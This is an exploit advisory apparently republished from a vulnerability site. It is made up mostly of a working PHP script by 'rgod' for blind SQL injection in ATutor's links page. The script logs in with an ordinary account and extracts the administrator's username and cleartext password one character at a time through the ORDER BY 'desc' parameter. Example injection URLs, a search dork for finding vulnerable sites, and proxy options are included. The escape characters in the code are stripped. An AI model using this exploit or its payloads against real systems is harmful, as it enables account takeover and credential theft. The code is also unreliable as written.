ATutor <= 'links' blind SQL injection / admin credentials disclosure

Credit: rgod
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "ATutor <= 'links' blind SQL injection / admin credentials disclosuren"; echo "by rgod rgod (at) autistici (dot) org [email concealed]n"; echo "site: http://retrogod.altervista.orgn"; echo "dork, version specific: "Web site engine's code is copyright" "2001-2006 ATutor" "About ATutor"nn"; /* - works regardless of php.ini settings - with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements) see - with at least 2 links in at_links table */ if ($argc<5) { echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to ATutorrn"; echo "user/pass: you need a valid simple user accountrn"; echo "Options:rn"; echo " -T[prefix] specify a table prefix different from default (at_)rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /atutor/ username passwordrn"; echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_rn"; die; } /* software site: vulnerable code in /links/index.php at lines 92-100 ... //get links $groups = implode(',', $_SESSION['groups']); if (!empty($groups)) { $sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order"; } else { $sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order"; } $result = mysql_query($sql, $db); ... with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex: http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII( SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20 DESC%20LIMIT%202/* http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(S UBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC %20LIMIT%202/* query becomes like this: SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc so you can ask true/false questions to the database about the admin username/clear text password you will see results in the way links are ordered at screen You need at least two rows in at_links table Other queries may be vulnerable to this kind of injection, since ORDER BY statements are not checked at all... This may hide undisclosed vulnerabilities in a lot of apps, I suppose... */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $port=80; $user=$argv[3]; $pass=$argv[4]; $prefix="at_"; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $packet ="GET ".$p."login.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } $temp=explode("password.value + "",$html); $temp2=explode(""",$temp[1]); $what=$temp2[0]; echo "salt -> ".$what."rn"; $data ="form_login_action=true"; $data.="&form_course_id=0"; $data.="&form_password_hidden=".sha1($pass.$what); $data.="&form_login=".$user; $data.="&form_password="; $data.="&submit=Login"; $packet ="POST ".$p."login.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Accept: text/plainrn"; $packet.="Connection: Closern"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Content-Length: ".strlen($data)."rnrn"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } $packet ="GET ".$p."bounce.php?course=1 HTTP/1.0rn";//it seems you have to browse some page before to go to links panel $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } echo "cookie -> ".$cookie."rn"; $j=1; $my_password=""; while (!strstr($my_password,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Descr iption))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*"; echo "sql -> ".$sql."rn"; $sql=urlencode($sql); $packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $temp=explode("<tr onmousedown="document.form['",$html); $temp2=explode("']",$temp[1]); $my_check=$temp2[0]; echo "check -> ".$my_check."rn"; if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]rn";sleep(2);break;} elseif ($my_check=="m2") {continue;} elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");} if ($i==255) {die("Exploit failed...");} } $j++; } $j=1; $my_admin=""; while (!strstr($my_admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Descript ion))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*"; echo "sql -> ".$sql."rn"; $sql=urlencode($sql); $packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $temp=explode("<tr onmousedown="document.form['",$html); $temp2=explode("']",$temp[1]); $my_check=$temp2[0]; echo "check -> ".$my_check."rn"; if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]rn";sleep(2);break;} elseif ($my_check=="m2") {continue;} if ($i==255) {die("Exploit failed...");} } $j++; } echo "----------------------------------------------------------n"; echo "admin -> ".$my_admin."n"; echo "password (clear text) -> ".$my_password."n"; echo "----------------------------------------------------------n"; ?> original url:

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